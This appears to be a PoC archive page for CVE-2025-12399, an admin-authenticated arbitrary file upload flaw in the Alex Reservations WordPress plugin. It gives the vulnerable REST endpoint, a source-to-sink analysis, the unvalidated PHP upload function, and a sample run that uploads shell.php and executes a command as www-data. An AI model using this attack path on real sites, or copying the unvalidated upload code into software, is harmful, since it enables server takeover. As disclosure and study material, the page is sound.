Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-12399 PoC — Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload

Source
Associated Vulnerability
Title: Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload (CVE-2025-12399)
Description:The Alex Reservations: Smart Restaurant Booking plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /wp-json/srr/v1/app/upload/file REST endpoint in all versions up to, and including, 2.2.3. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Description
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload
Readme
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload

The WordPress [Alex Reservations](https://wordpress.org/plugins/alex-reservations) plugin (versions 2.2.3 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress administrators to upload malicious PHP files to the server, potentially leading to remote code execution.


## TL;DR Exploits

A POC [CVE-2025-12399.py](./CVE-2025-12399.py) is provided to demonstrate a remote attacker uploading `shell.php` and executing remote code:
```
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"                                                                                            
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```


## Technical Description

The vulnerability exists in the `UploadFileController.php` file at the `/wp-json/srr/v1/app/upload/file` endpoint. The upload functionality lacks proper file validation and only performs basic filename sanitization using a regex pattern. This allows authenticated WordPress administrators to upload arbitrary files, including PHP files that can be executed on the server.

### Attack Path Analysis

**Source**: User input from `$_FILES['file']` ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
**Sink**: `copy($file['tmp_name'], $target_dir_file)` ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))

The vulnerability occurs because:

1. **Route Registration**: The upload endpoint is registered in [`routes.php`](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/routes/routes.php#L294).
2. **Controller Access**: The `UploadFileController` extends the base `Controller`.
3. **Input Processing**: User-controlled file data from `$_FILES['file']` is directly processed without validation.
4. **File Handling**: Only basic filename sanitization is applied using regex: `preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name)` ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
5. **File Storage**: Files are saved to `wp-content/uploads/alexr-uploads/YYYY/MM/` without MIME type validation or file extension restrictions.

### Vulnerable Code Location

**File**: [`includes/application/Alexr/Http/Controllers/UploadFileController.php`](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php)
**Lines**: [11-53](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L11)

```php
public function upload(Request $request)
{
    $file = $_FILES['file'];  // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
    
    // Target dir / url
    $upload_dir = wp_upload_dir();
    $date = evavel_date_now()->format('Y/m');
    $base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
    $base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;

    if (!file_exists($base_dir)) {
        $folder_created = wp_mkdir_p($base_dir);
        if (!$folder_created) {
            return $this->response([
                'success' => false,
                'error' => __eva('Error creating folder.')
            ]);
        }
    }

    $file_name = $file['name'];
    $file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name);  // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))

    $target_dir_file = $base_dir.'/'.$file_name;
    $target_url_file = $base_url.'/'.$file_name;

    $result = copy($file['tmp_name'], $target_dir_file);  // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))

    if (!$result) {
        return $this->response([
            'success' => false,
            'error' => __eva('Error saving file.')
        ]);
    }

    return $this->response([
        'success' => true,
        'file_path' => $target_dir_file,
        'file_url' => $target_url_file,
        'message' => __eva('Uploaded.')
    ]);
}
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →